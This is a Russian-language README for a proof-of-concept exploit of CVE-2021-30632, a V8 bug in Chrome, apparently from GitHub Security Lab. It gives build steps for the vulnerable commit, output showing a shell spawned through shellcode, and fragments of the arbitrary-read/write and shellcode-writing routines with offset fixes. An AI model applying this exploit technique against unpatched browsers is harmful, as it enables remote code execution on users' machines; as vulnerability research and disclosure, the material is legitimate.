paulsery/cve-2021-30632m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632
Анализ этой ошибки можно найти здесь. Это ошибка в Chrome, сообщённая анонимным исследователем, и, как полагают, она эксплуатировалась в реальных атаках.
Эксплойт протестирован на версии v8 9.3.345.16 (коммит 632e6e7), которая поставлялась с Chrome 93.0.4577.63, то есть до исправления ошибки, на Ubuntu 20.04. На самом Chrome я его не проверял.
Для тестирования возьмите v8 в коммите 632e6e7 и скомпилируйте с настройками по умолчанию с помощью tools/dev/gm.py x64.release. Затем откройте файл poc.js в d8:
./d8 poc.js
На Ubuntu 20.04 он должен вызвать execve("/bin/sh") для запуска нового процесса:
./d8 poc.js
instance: 81d42dd
elements: 804abd9
rwx page address: 22c70c88b000
intArray addr: 8105d79
intBackingStore: 56498ceb25e0
$
На других платформах шелл-код может потребовать изменений.
Эксплойт очень надёжен, однако при тестировании я заметил, что некоторые смещения чувствительны к небольшим изменениям в файле (даже добавление комментариев может вызвать проблемы), из-за чего эксплойт может не сработать. Это происходит только при изменении файла и обычно проявляется в виде мусорных значений адресов, например:
instance: 81d42dd
elements: 800222d
rwx page address: 3ff199999999999a
intArray addr: 81067e1
intBackingStore: 3ff199999999999a
В примере выше адреса rwx-страницы и initBackingStore явно некорректны. Корневая причина, по-видимому, — неверное значение поля elements. (800222d — некорректное значение.) Обычно это можно исправить, изменив следующие строки, касающиеся адреса elements:
function arbRead(addr) {
[elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]);
oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr));
return writeArr[0];
}
...
function writeShellCode(rwxAddr, shellArr) {
var intArr = new Uint8Array(400);
var intArrAddr = addrOf(intArr);
console.log("intArray addr: " + intArrAddr.toString(16));
var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));
[elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]);
oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20));
...
}
...
var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];
Это, однако, не влияет на надёжность эксплойта, так как смещения стабильны, если файл не меняется, но может вызвать проблемы при модификации poc-файла. Я не знаю, чем это вызвано, но эксплойт, вероятно, можно сделать более устойчивым, используя поиск по шаблонам в памяти вместо фиксированных смещений.